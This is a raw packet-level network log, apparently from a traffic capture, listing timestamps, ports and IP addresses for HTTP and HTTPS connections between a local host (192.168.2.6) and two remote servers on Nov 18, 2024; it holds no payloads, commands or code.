Nov 18, 2024 05:57:53.745862961 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.745896101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745929003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745935917 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.746072054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.746104956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.746110916 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.746140957 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.746190071 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.746246099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.746279001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.746323109 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.746398926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.746433020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.746467113 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.746484995 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.746500969 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.746536016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.746541023 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.786442041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.786459923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.786473036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.786494970 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.786510944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.796029091 CET	443	60459	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.796204090 CET	443	60459	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.796336889 CET	60459	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.796564102 CET	60459	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.796576023 CET	443	60459	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.796585083 CET	60459	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.796590090 CET	443	60459	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.799267054 CET	60464	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.799284935 CET	443	60464	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.799351931 CET	60464	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.799474955 CET	60464	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.799487114 CET	443	60464	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.823357105 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.823370934 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.823383093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.823410034 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.836474895 CET	443	60461	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.847517967 CET	443	60460	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.853256941 CET	60461	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.853281021 CET	443	60461	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.853698015 CET	60461	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.853703976 CET	443	60461	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.854001045 CET	60460	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.854058027 CET	443	60460	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.854358912 CET	60460	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.854371071 CET	443	60460	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.863449097 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863485098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863498926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863506079 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.863518953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863532066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863540888 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.863584042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.863591909 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863603115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863693953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863703966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863714933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863719940 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.863753080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.863823891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863862991 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.863876104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863888979 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863922119 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.863953114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863964081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863975048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.863987923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864000082 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.864027023 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.864311934 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864324093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864336014 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864348888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864356995 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.864392996 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.864459991 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864521980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864532948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864543915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864562035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.864588022 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.864739895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864788055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864799023 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864830017 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.864840984 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864852905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864864111 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.864882946 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.864902020 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.865089893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865140915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865154028 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865181923 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.865197897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865207911 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865228891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865231991 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.865241051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865253925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865258932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865299940 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.865374088 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.865669966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865739107 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.865780115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865791082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865802050 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865813017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.865825891 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.865901947 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.906272888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.906287909 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.906299114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.906310081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.906332970 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.906361103 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.943207026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.943228960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.943240881 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.943295002 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.978220940 CET	443	60461	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.978396893 CET	443	60461	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.978645086 CET	60461	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.978681087 CET	60461	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.978698015 CET	443	60461	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.978713036 CET	60461	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.978719950 CET	443	60461	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.981318951 CET	60465	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.981339931 CET	443	60465	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.981447935 CET	60465	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.981702089 CET	60465	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.981712103 CET	443	60465	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.982604027 CET	443	60460	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.982753038 CET	443	60460	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.982824087 CET	60460	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.982985020 CET	60460	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.983021975 CET	443	60460	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.983047962 CET	60460	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.983062029 CET	443	60460	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.983345985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983402967 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.983413935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983426094 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983438015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983449936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983464956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983472109 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.983545065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983556032 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983556986 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.983566999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983700037 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.983700037 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.983798981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983809948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983854055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983885050 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.983897924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983908892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983921051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.983993053 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.983993053 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.984088898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984189034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984200001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984205961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984215021 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984226942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984302044 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.984314919 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.984553099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984565020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984575987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984586954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984601021 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984612942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984627008 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.984633923 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.984684944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.984900951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984931946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.984992027 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985002995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985013008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985088110 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.985101938 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.985156059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985167027 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985177040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985208988 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.985209942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985215902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.985222101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985269070 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.985446930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985552073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985563040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985573053 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985596895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985610008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985615969 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.985615969 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.985620022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985632896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985644102 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985655069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.985707998 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.985719919 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.985719919 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.986020088 CET	60466	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.986042976 CET	443	60466	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.986104965 CET	60466	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.986272097 CET	60466	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.986285925 CET	443	60466	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.025954962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.025979042 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.025990009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.026051044 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.062225103 CET	443	60462	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.062736988 CET	60462	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.062757969 CET	443	60462	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.063174963 CET	60462	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.063180923 CET	443	60462	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.063198090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.063214064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.063229084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.063268900 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.063308954 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.103601933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103627920 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103641987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103652954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103666067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103686094 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103697062 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103708982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103722095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103734016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103745937 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103759050 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103771925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103785992 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103787899 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.103787899 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.103787899 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.103787899 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.103797913 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103817940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103821039 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.103832006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103842974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103851080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.103857994 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103871107 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103955984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.103955984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.103955984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.103964090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103976011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.103981972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104039907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104053020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104070902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104082108 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.104084015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104098082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104108095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104130983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.104193926 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.104430914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104456902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104471922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104484081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104499102 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104556084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.104556084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.104556084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.104695082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104707003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104721069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104732990 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104747057 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104799032 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.104799032 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.104882956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104922056 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.104932070 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.104969978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.105068922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.105081081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.105092049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.105122089 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.105122089 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.105170012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.105180979 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.105191946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.105230093 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.105230093 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.105278015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.105289936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.105299950 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.105360985 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.145926952 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.145946026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.145960093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.146008968 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.146083117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.182934046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.182954073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.182972908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.183146000 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.189724922 CET	443	60462	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.189796925 CET	443	60462	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.189882040 CET	60462	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.189903975 CET	443	60462	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.189971924 CET	60462	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.190340996 CET	60462	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.190340996 CET	60462	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.190377951 CET	443	60462	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.190403938 CET	443	60462	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.193376064 CET	60467	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.193407059 CET	443	60467	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.193470955 CET	60467	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.193612099 CET	60467	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.193623066 CET	443	60467	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.223304987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223347902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223360062 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223371029 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.223383904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223396063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223407984 CET	80	60438	185.215.113.16	192.168.2.6
